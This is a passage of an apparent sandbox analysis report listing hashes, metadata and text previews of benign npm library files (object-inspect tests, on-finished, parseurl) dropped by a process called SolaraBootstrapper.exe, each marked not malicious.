SHA1:	BC38AB803D5082C70592725ABAF3142AF66EB52A
SHA-256:	929E5D9EE18E4FD7E6E7DA3C6D9F988C4643CC8254F0C18950F28C102A10AD5D
SHA-512:	F417CB3FA6C66AD1F9E4EE3149D290071FD2573D4FAAA1E2D30EB25732EE23F78194850EE5394E2C4931A1404A50D0E63FB367047CDB3DA4B70972531240A8AA
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var mockProperty = require('mock-property');..test('when Object#hasOwnProperty is deleted', function (t) {. t.plan(1);. var arr = [1, , 3]; // eslint-disable-line no-sparse-arrays.. t.teardown(mockProperty(Array.prototype, 1, { value: 2 })); // this is needed to account for "in" vs "hasOwnProperty". t.teardown(mockProperty(Object.prototype, 'hasOwnProperty', { 'delete': true }));.. t.equal(inspect(arr), '[ 1, , 3 ]');.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\holes.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	4.45127014258196
Encrypted:	false
SSDEEP:	6:qULoxwWJa5tMKS7HPP/oQNXEJeCoDsi2whw:zywWi9s/oWeoDs7+w
MD5:	2C0CBCC4BB33C7CDCB577DA13B553A22
SHA1:	363C0159CA852EBBEDC3052EED5A22B18705BDDC
SHA-256:	6DEBF6783179E75E1559BD5DDAFB7352244D11204F3BE24D9C93FE96778F55F2
SHA-512:	DF93430971CEFBC1F879A717247AA65D1E92DCBBBB98D4B46F355BA3A8DF0F7EB7E2C05B0F8373A4C946C737716AFA151157BDDC7226391EEC9C81C9E70CCC7D
Malicious:	false
Preview:	var test = require('tape');.var inspect = require('../');..var xs = ['a', 'b'];.xs[5] = 'f';.xs[7] = 'j';.xs[8] = 'k';..test('holes', function (t) {. t.plan(1);. t.equal(. inspect(xs),. "[ 'a', 'b', , , , 'f', , 'j', 'k' ]". );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\indent-option.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6633
Entropy (8bit):	4.377727980344043
Encrypted:	false
SSDEEP:	48:FY+jyMwYWDoGOxBG9pnoHe8hTHiw7oWD0oXZ/PJEr/6rN/di2/i6xElq0qBZmEc7:FgCWJOxBGbpeHiwXi+TiMi9E7FO8I8cD
MD5:	EBD803D85016BEC5528CB8E3E2637E9E
SHA1:	F63D035326A6D661790E7DF0CD5EC09C84B6C06B
SHA-256:	88AB6D6B8D0B059B0CE6B1632BDD5B8A7A218B61572F2FA6C9F01ABC9925A362
SHA-512:	11A8F648A496D10402E67B8A126266F241DFE7B91E91E322BE8D94EA72FB75EC932DB037CD8FEE768D24981BFB02D178FA958742D5F70D5DDBE6F4A2E64B213E
Malicious:	false
Preview:	var test = require('tape');.var forEach = require('for-each');..var inspect = require('../');..test('bad indent options', function (t) {. forEach([. undefined,. true,. false,. -1,. 1.2,. Infinity,. -Infinity,. NaN. ], function (indent) {. t['throws'](. function () { inspect('', { indent: indent }); },. TypeError,. inspect(indent) + ' is invalid'. );. });.. t.end();.});..test('simple object with indent', function (t) {. t.plan(2);.. var obj = { a: 1, b: 2 };.. var expectedSpaces = [. '{',. ' a: 1,',. ' b: 2',. '}'. ].join('\n');. var expectedTabs = [. '{',. '.a: 1,',. '.b: 2',. '}'. ].join('\n');.. t.equal(inspect(obj, { indent: 2 }), expectedSpaces, 'two');. t.equal(inspect(obj, { indent: '\t' }), expectedTabs, 'tabs');.});..test('two deep object with indent', function (t) {. t.plan(2);..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\inspect.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4946
Entropy (8bit):	4.8512527641865235
Encrypted:	false
SSDEEP:	96:TiX+L0xxC/IbTB/OqMl6ZVSXRadVbgSdaFgYinkswt9F:eDUfl6ZVS4dVLdavqvc9F
MD5:	A5BA2487B711A790C4E5D937363668EA
SHA1:	9FC5B4F123621597589B21112BBB0972E83B70A3
SHA-256:	8C60F38286B654632CDFC4015A47657C339591E82A4489E181B689E2F2625D23
SHA-512:	97964B04C56F5A066C60F76A1266430CDCA05CCE73AFF63E30377DA9B98E6B08E38D9DA8E63AAFE8A1D7C3D4CBDF73F8781A14723FAFEC210D96D22143703CB9
Malicious:	false
Preview:	var test = require('tape');.var hasSymbols = require('has-symbols/shams')();.var utilInspect = require('../util.inspect');.var repeat = require('string.prototype.repeat');..var inspect = require('..');..test('inspect', function (t) {. t.plan(5);.. var obj = [{ inspect: function xyzInspect() { return '!XYZ.'; } }, []];. var stringResult = '[ !XYZ., [] ]';. var falseResult = '[ { inspect: [Function: xyzInspect] }, [] ]';.. t.equal(inspect(obj), stringResult);. t.equal(inspect(obj, { customInspect: true }), stringResult);. t.equal(inspect(obj, { customInspect: 'symbol' }), falseResult);. t.equal(inspect(obj, { customInspect: false }), falseResult);. t['throws'](. function () { inspect(obj, { customInspect: 'not a boolean or "symbol"' }); },. TypeError,. '`customInspect` must be a boolean or the string "symbol"'. );.});..test('inspect custom symbol', { skip: !hasSymbols \|\| !utilInspect \|\| !utilInspect.custom }, function (t) {. t.plan(

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\lowbyte.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.681947479643974
Encrypted:	false
SSDEEP:	6:qULoxHR/uvFS9JEWmaVP/oQ3s/J56xCtkkwhw:zyHC+/ma9ot5oCtkk+w
MD5:	B654AE5EB4FC69C50815825F0409935B
SHA1:	33FB054501A7AC439112B9AA209A52C74E21FDF9
SHA-256:	A0CE0AB0DEE87383B9D2D957F76EB21658A9A660FD80CD666F0F94AA4B28478F
SHA-512:	5F203DFC57D7415CF52A97EFA394AF995F5035BD78C5FAFA554BCEF785D31AA943F6179DFFE3A959CE6E7B8C89220231F4472F9F7374F84430AF3C0C0CDD887A
Malicious:	false
Preview:	var test = require('tape');.var inspect = require('../');..var obj = { x: 'a\r\nb', y: '\x05! \x1f \x12' };..test('interpolate low bytes', function (t) {. t.plan(1);. t.equal(. inspect(obj),. "{ x: 'a\\r\\nb', y: '\\x05! \\x1F \\x12' }". );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\number.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	4.777938348783971
Encrypted:	false
SSDEEP:	24:xYcJeHo52JVHorPmirTKnjO5D1Df/a5hroyGA2QIuOothVOoAgoCwo2hJOoNlJKl:ym5Kef/1yuCHEs6psJKs3
MD5:	7A7236780C79F49BD6E5F03B8295CFB4
SHA1:	D059D6691F8D227AB05E81CFB40119962154B51D
SHA-256:	B688DDF9D78CCD7B295B8D73DDFE29F0DA5EC5ACF884E570842106CA649F93D8
SHA-512:	BE115FC9FCF4BC9E4B67988ED77ED52D21F75043C2A7C4AE82E43DF74A5F9DE35A2CD64C1C7FA1C8DDE646B6477ACB914BA51BB7B61202323E950AEAD89BD9C9
Malicious:	false
Preview:	var test = require('tape');.var v = require('es-value-fixtures');.var forEach = require('for-each');..var inspect = require('../');..test('negative zero', function (t) {. t.equal(inspect(0), '0', 'inspect(0) === "0"');. t.equal(inspect(Object(0)), 'Object(0)', 'inspect(Object(0)) === "Object(0)"');.. t.equal(inspect(-0), '-0', 'inspect(-0) === "-0"');. t.equal(inspect(Object(-0)), 'Object(-0)', 'inspect(Object(-0)) === "Object(-0)"');.. t.end();.});..test('numericSeparator', function (t) {. forEach(v.nonBooleans, function (nonBoolean) {. t['throws'](. function () { inspect(true, { numericSeparator: nonBoolean }); },. TypeError,. inspect(nonBoolean) + ' is not a boolean'. );. });.. t.test('3 digit numbers', function (st) {. var failed = false;. for (var i = -999; i < 1000; i += 1) {. var actual = inspect(i);. var actualSepNo = inspect(i, { numericSeparator: false });. va

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\quoteStyle.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.612377624710445
Encrypted:	false
SSDEEP:	24:uIrlANJrhWAvlANJ+uvlANJZbvlANJXvlANJXvlANJ/FZvlANJk2vlANJyS:HBUGQ66s5QW
MD5:	AEC686CCCD79C71E578E292273B77D5A
SHA1:	1022E3F21738C55AD426C0664D80D946D2A52846
SHA-256:	ABCBFF1298CD64BA2486E8EC269E8BBED400C320CA04E4B646D95ADE1D9C07F4
SHA-512:	7B750F4D0B8F90A594FED2EE98E436C549C4727C81F1A29650E729DF54FF10E31214F17C9796EFEB1A4A0D19564E57EABE394A6BAAC28C1DB054D5F6F15032D1
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');..test('quoteStyle option', function (t) {. t['throws'](function () { inspect(null, { quoteStyle: false }); }, 'false is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: true }); }, 'true is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: '' }); }, '"" is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: {} }); }, '{} is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: [] }); }, '[] is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: 42 }); }, '42 is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: NaN }); }, 'NaN is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: function () {} }); }, 'a function is not a valid value');.. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\toStringTag.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	4.822322690784088
Encrypted:	false
SSDEEP:	24:je2hNxOknzgyy4gNdmga0ad7w6Sad+EkOcOOrU1pOexxoBU1LjeOo4B:jRLOZjNc+aJKajkjnCOApSOb
MD5:	EB83817B7462211617E9B6473D87ABED
SHA1:	8990589B814ED0E62D5DDFA37A9D5FE2561EB689
SHA-256:	C8EDFFBCCCB9AE87C3DBF9F8E0E3112DC4F062AC911AA54B0A40F8639988A114
SHA-512:	7A3298CDD70C3E3A1995BD6E0EDC51820EFE0184F71D3F63443087A4B111CFF73942992FEA5BCC496D7D937978701B43495FD5BEF9A3A506905E5F47EAB6EC14
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var hasToStringTag = require('has-tostringtag/shams')();..var inspect = require('../');..test('Symbol.toStringTag', { skip: !hasToStringTag }, function (t) {. t.plan(4);.. var obj = { a: 1 };. t.equal(inspect(obj), '{ a: 1 }', 'object, no Symbol.toStringTag');.. obj[Symbol.toStringTag] = 'foo';. t.equal(inspect(obj), '{ a: 1, [Symbol(Symbol.toStringTag)]: \'foo\' }', 'object with Symbol.toStringTag');.. t.test('null objects', { skip: 'toString' in { __proto__: null } }, function (st) {. st.plan(2);.. var dict = { __proto__: null, a: 1 };. st.equal(inspect(dict), '[Object: null prototype] { a: 1 }', 'null object with Symbol.toStringTag');.. dict[Symbol.toStringTag] = 'Dict';. st.equal(inspect(dict), '[Dict: null prototype] { a: 1, [Symbol(Symbol.toStringTag)]: \'Dict\' }', 'null object with Symbol.toStringTag');. });.. t.test('instances', function (st) {. st.plan(4);.. fun

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\undef.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.474360037688691
Encrypted:	false
SSDEEP:	6:qULoxHR+mLwKJ0WdvPVP/oQ3pkWgrw0WBdZhw:zyH4mr3o1W2w7w
MD5:	EB05458C869D75C0405906C1DCF66442
SHA1:	DA8ADC357DBD8E3C557224737C608494311EF49D
SHA-256:	B1F88FEB036F85511AAACEB85CA3676C98B56D14130E09D9501056F917862281
SHA-512:	24A31FD461D586670CB385D3F6C41A01D2AD07E7A932D31A7EA79005F4480C0EE1E92DD1201D8C818410433F03A29FFFFF52DE038A844D5A8775F0CF47597F2C
Malicious:	false
Preview:	var test = require('tape');.var inspect = require('../');..var obj = { a: 1, b: [3, 4, undefined, null], c: undefined, d: null };..test('undef and null', function (t) {. t.plan(1);. t.equal(. inspect(obj),. '{ a: 1, b: [ 3, 4, undefined, null ], c: undefined, d: null }'. );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\values.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7034
Entropy (8bit):	4.91843404364377
Encrypted:	false
SSDEEP:	192:UgSay9iJQiZHwmQpUh98q7hDfhZwKfSDHT:UX4QiO1pu988DwDz
MD5:	085255FAD7CB4160A69DAF9BC1640ADF
SHA1:	73179FF75FBD8F9F9A2A3A25D415262FD8C82EA6
SHA-256:	38654BBCDE063DFC081F6010E4D795E961A09CC80DBF00AD39670FEC8EB7718F
SHA-512:	B24C9F9540DFE0864C19D4305C306EB986EA48AF86E52A6C814F7B89D9484AA40904125B87F06290B173E007D6DA67A6C2C9B271BCD4DC3E7CF68F2F8CAA9E71
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var mockProperty = require('mock-property');.var hasSymbols = require('has-symbols/shams')();.var hasToStringTag = require('has-tostringtag/shams')();..test('values', function (t) {. t.plan(1);. var obj = [{}, [], { 'a-b': 5 }];. t.equal(inspect(obj), '[ {}, [], { \'a-b\': 5 } ]');.});..test('arrays with properties', function (t) {. t.plan(1);. var arr = [3];. arr.foo = 'bar';. var obj = [1, 2, arr];. obj.baz = 'quux';. obj.index = -1;. t.equal(inspect(obj), '[ 1, 2, [ 3, foo: \'bar\' ], baz: \'quux\', index: -1 ]');.});..test('has', function (t) {. t.plan(1);. t.teardown(mockProperty(Object.prototype, 'hasOwnProperty', { 'delete': true }));.. t.equal(inspect({ a: 1, b: 2 }), '{ a: 1, b: 2 }');.});..test('indexOf seen', function (t) {. t.plan(1);. var xs = [1, 2, 3, {}];. xs.push(xs);.. var seen = [];. seen.indexOf = undefined;.. t.equal(. inspect(xs,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\util.inspect.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.3297176493718394
Encrypted:	false
SSDEEP:	3:3BBBbJ4RI5VAhn:xBBKeAh
MD5:	7BE99E6D26FA9567C53527A9F2A0B799
SHA1:	112022493FBDFF21234DDCB2C94D2CF43766C7FB
SHA-256:	BB49299375C82D8D22983B76F6C25CD9AC923DC61CD25FFFE9B3F71DAD26DC40
SHA-512:	DF05BF7B8A0550EA49D085FFDA70A803980079CBFB739445AB02643264451D125478BAF139B9A58F85D4074FEFBC0192F9E3170B8031D040F1310FACD04B03E8
Malicious:	false
Preview:	module.exports = require('util').inspect;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1865
Entropy (8bit):	4.705247315400775
Encrypted:	false
SSDEEP:	48:/jJg7Yz+DK6sQ6r7K4BQs87Yx4CTyj2BYGbJvOMGz:/jJ+Yz+D6r7FBQsqYxgQ7y
MD5:	1B37A008548EB829D8D7E296AF2DAA36
SHA1:	90B4A9C7134567AD4C80AB8B97472B1D7792434E
SHA-256:	1954661AFCAEE2B2E961F1B56DC9694F3074608DEF2A4AE75F7B1203D18086CA
SHA-512:	71BDBD2FD52238049D91275CF2B13E84969CA567C98C7D8CA705C1B503A78B43D6811C6727C75EF8302056AE85AFE851F2FD7E70F4E0334E44C8F6AD11A72C72
Malicious:	false
Preview:	2.4.1 / 2022-02-22.==================.. * Fix error on early async hooks implementations..2.4.0 / 2022-02-21.==================.. * Prevent loss of async hooks context..2.3.0 / 2015-05-26.==================.. * Add defined behavior for HTTP `CONNECT` requests. * Add defined behavior for HTTP `Upgrade` requests. * deps: ee-first@1.1.1..2.2.1 / 2015-04-22.==================.. * Fix `isFinished(req)` when data buffered..2.2.0 / 2014-12-22.==================.. * Add message object to callback arguments..2.1.1 / 2014-10-22.==================.. * Fix handling of pipelined requests..2.1.0 / 2014-08-16.==================.. * Check if `socket` is detached. * Return `undefined` for `isFinished` if state unknown..2.0.0 / 2014-08-16.==================.. * Add `isFinished` function. * Move to `jshttp` organization. * Remove support for plain socket argument. * Rename to `on-finished`. * Support both `req` and `res` as arguments. * deps: ee-first@1.0.5..1.2.2 / 2014-06-10.===========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:g1iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:g1iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	1B1F7F9CEC194121FDF616B971DF7A7B
SHA1:	A3AA1554383F2419EC0DBCF207CA449EF7DC66CF
SHA-256:	8089BCC08845EC143E5761F4A101A65B8C792A0DEDBFEEB90A15560C0B77F768
SHA-512:	D984289EE5994589E88482F748FC00327A6D66A32C1773DC08B835B431B76EE8041A28BE5043E0C96C75E7DC77223A094CE7C1162227AFAD3BCEE0A60A68232F
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2013 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5160
Entropy (8bit):	4.88883335384546
Encrypted:	false
SSDEEP:	96:ipCM150Rv+ZTcypFpeESdu+SwlmDoJOknXCOcCUnJyI3UJyWhbX3Kn:UC81iKwlmonStEhm
MD5:	562D5D7422331487F93E06407128AA82
SHA1:	F5063BA874F2E3B282FE87921DF945EF0358D616
SHA-256:	B52E3F3A4CE4FA24C28FE59CCC08B5F4866EB5DD57943718A4A914F35901AA89
SHA-512:	13BC7EDEDD4F7B27CB28A47895E9FF239E55DCE77DC1CDDBE3BB603462D44F564FD1C4A536F626B3D69CD1BAB15920F65CF7AB0683FCFC7F33872B1242F2E208
Malicious:	false
Preview:	# on-finished..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..Execute a callback when a HTTP request closes, finishes, or errors...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install on-finished.```..## API..```js.var onFinished = require('on-finished').```..### onFinished(res, listener)..Attach a listener to listen for the response to finish. The listener will.be invoked only once when the response finished. If the response finished.to an error, the first argument will contain the error. If the response.has already finished, the listener will be invoked...Listening to the end of a response

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	4.819531405733524
Encrypted:	false
SSDEEP:	96:BZ90D5eD/n8EfkUlOXld3ZnzS75I51TNZ9FeVz2qNKXIhXDlp:b9uc8UkU4Xz3ZzY+1TNHF42aKXUXDlp
MD5:	B1C3D24B92F25989B8AEFC7F6AAA91BA
SHA1:	3F69307BD04CC4DFE71CD13616509F443B48F923
SHA-256:	8E16BAE14EC63BAC9CDBB50572A7B53061FEE914712F5E803FF03C44E8845276
SHA-512:	4225C714BEC718D7CC59CD2C91A07A77E41CCE3AB52502BF9B5B9CCD7D0CE88C040E0A765E5B2C3576AC8F101DC00FFF94F8C7AC7586111A545B228831A11ED0
Malicious:	false
Preview:	/!. on-finished. * Copyright(c) 2013 Jonathan Ong. * Copyright(c) 2014 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = onFinished.module.exports.isFinished = isFinished../. Module dependencies.. * @private. /..var asyncHooks = tryRequireAsyncHooks().var first = require('ee-first')../. Variables.. * @private. /../ istanbul ignore next /.var defer = typeof setImmediate === 'function'. ? setImmediate. : function (fn) { process.nextTick(fn.bind.apply(fn, arguments)) }../. Invoke callback when the response has finished, useful for. * cleaning up resources afterwards.. . @param {object} msg. * @param {function} listener. * @return {object}. * @public. /..function onFinished (msg, listener) {. if (isFinished(msg) !== false) {. defer(listener, null, msg). return msg. }.. // attach the listener to the message. attachListener(msg, wrap(listener)).. return msg.}../. Determine if message i

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	4.804895526121064
Encrypted:	false
SSDEEP:	24:x3cR1wxVWbeN670YuNCHRIZBlWAuoZKLvP:Z6eVWbec4YuNCHRIzUtoorP
MD5:	436846DD0F4348AC2EE93C9C5EB291E4
SHA1:	777E9CD400B42DEE1199EACFB325876CAEAFF3CC
SHA-256:	C812ECA4B0DEE2317CB446124CB27AE8E5B993C8FDD0144886B629EF6EF53FC1
SHA-512:	D261E261BC9D2E5A39A50C6B072E6DA995764769ABDC4F9F3CF219CC2296C0E45EE194C3F4F431A248FD1D46D90745AD0B576D2FCB24E59D9208804B9C1532D7
Malicious:	false
Preview:	{. "name": "on-finished",. "description": "Execute a callback when a request closes, finishes, or errors",. "version": "2.4.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "jshttp/on-finished",. "dependencies": {. "ee-first": "1.1.1". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.1",. "nyc": "15.1.0". },. "engines": {. "node": ">= 0.8". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcovonly --reporter=text npm test",. "test-co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	4.739303790993595
Encrypted:	false
SSDEEP:	24:MQ1Z4386QRnieR8AX2ORyUyDtw3zZ6SGj0:Z4386QRnd8ADRyrQd
MD5:	0F7F38FA8D79E3BF70557EF4A655D412
SHA1:	DEE736EDC00ED5282B24CD6DBB3AECE6B36CCB2D
SHA-256:	AA6E5CD75DDDE03B54623AF11E6AEB6F92CCF6A1C69805B20890228182030189
SHA-512:	A44AD1A193924E7201006422CB995254784AC2F5223733DD00C9A071902839822471271F8FABF91D7C729D0D51C441C73C31DBACCB1CD000CE9934FC535F671D
Malicious:	false
Preview:	1.3.3 / 2019-04-15.==================.. * Fix Node.js 0.8 return value inconsistencies..1.3.2 / 2017-09-09.==================.. * perf: reduce overhead for full URLs. * perf: unroll the "fast-path" `RegExp`..1.3.1 / 2016-01-17.==================.. * perf: enable strict mode..1.3.0 / 2014-08-09.==================.. * Add `parseurl.original` for parsing `req.originalUrl` with fallback. * Return `undefined` if `req.url` is `undefined`..1.2.0 / 2014-07-21.==================.. * Cache URLs based on original value. * Remove no-longer-needed URL mis-parse work-around. * Simplify the "fast-path" `RegExp`..1.1.3 / 2014-07-08.==================.. * Fix typo..1.1.2 / 2014-07-08.==================.. * Seriously fix Node.js 0.8 compatibility..1.1.1 / 2014-07-08.==================.. * Fix Node.js 0.8 compatibility..1.1.0 / 2014-07-08.==================.. * Incorporate URL href-only parse fast-path..1.0.1 / 2014-03-08.==================.. * Add missing `require`..1.0.0 / 2014-03-08.====

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	5.195373648205954
Encrypted:	false
SSDEEP:	24:zbYiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:XYiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	E7842ED4F188E53E53C3E8D9C4807E89
SHA1:	96EE35A54FC07FF9945901C6E0AFDA0FBDC05BBF
SHA-256:	11D017C3B9F1EE3F44CAF7203035F0461D5B57E0DB8CE1BC03A9AF34FA7D3F6B
SHA-512:	D5682B61337113E6072A1AB3AAA288D04624CB4A3E9F46FDC0269A46617F471BE620565DE6A8063BC3F79B5F314648550545804EE6C5BFCA55C989EBBEB7365B
Malicious:	false
Preview:	.(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2017 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4094
Entropy (8bit):	5.16312951835478
Encrypted:	false
SSDEEP:	96:aC815HgCi6b3vNti6ov8+cTG+RlG+mwFO+f5+lpcIC+9KP7Q:aCEpiK3vitv9OvbmwFDfclpcI39+7Q
MD5:	59555697A7F93937AF7F76FE5326FA0D
SHA1:	74B8E0A598BF2F69D3A40B3962266EEA9B4F3061
SHA-256:	2D37D38021AA9EB04B9915958140A7E79350672555F60F4B271384DE1C0CFB81
SHA-512:	4E3A6CEC7709B3018FBDFA20FDA99277BC609E06AD45A6292652227F9751AF1BDD1CE0D873C3A5D547E07DF4FE5D0270F05AC2F32895471ADDC1D570C50E30AA
Malicious:	false
Preview:	# parseurl..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Parse a URL with memoization...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install parseurl.```..## API..```js.var parseurl = require('parseurl').```..### parseurl(req)..Parse the URL of the given request object (looks at the `req.url` property).and return the result. The result is the same as `url.parse` in Node.js core..Calling this function multiple times on the same `req` where `req.url` does.not change will return a cached parsed object, rather than parsing again...### parseurl.original(req)..Parse the original URL of the

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2809
Entropy (8bit):	4.756866369850906
Encrypted:	false
SSDEEP:	48:gXuWiipG3fbNRFSilsJLydtZER4iDL7gLydtCa7mPLnZ4BgdwevHwP8y/PpAOoij:s6ipobxSilsJLGiDL7gLB7PLnZ5we4Pf
MD5:	3750351B6B1AA7F3E65D5499EA45006E
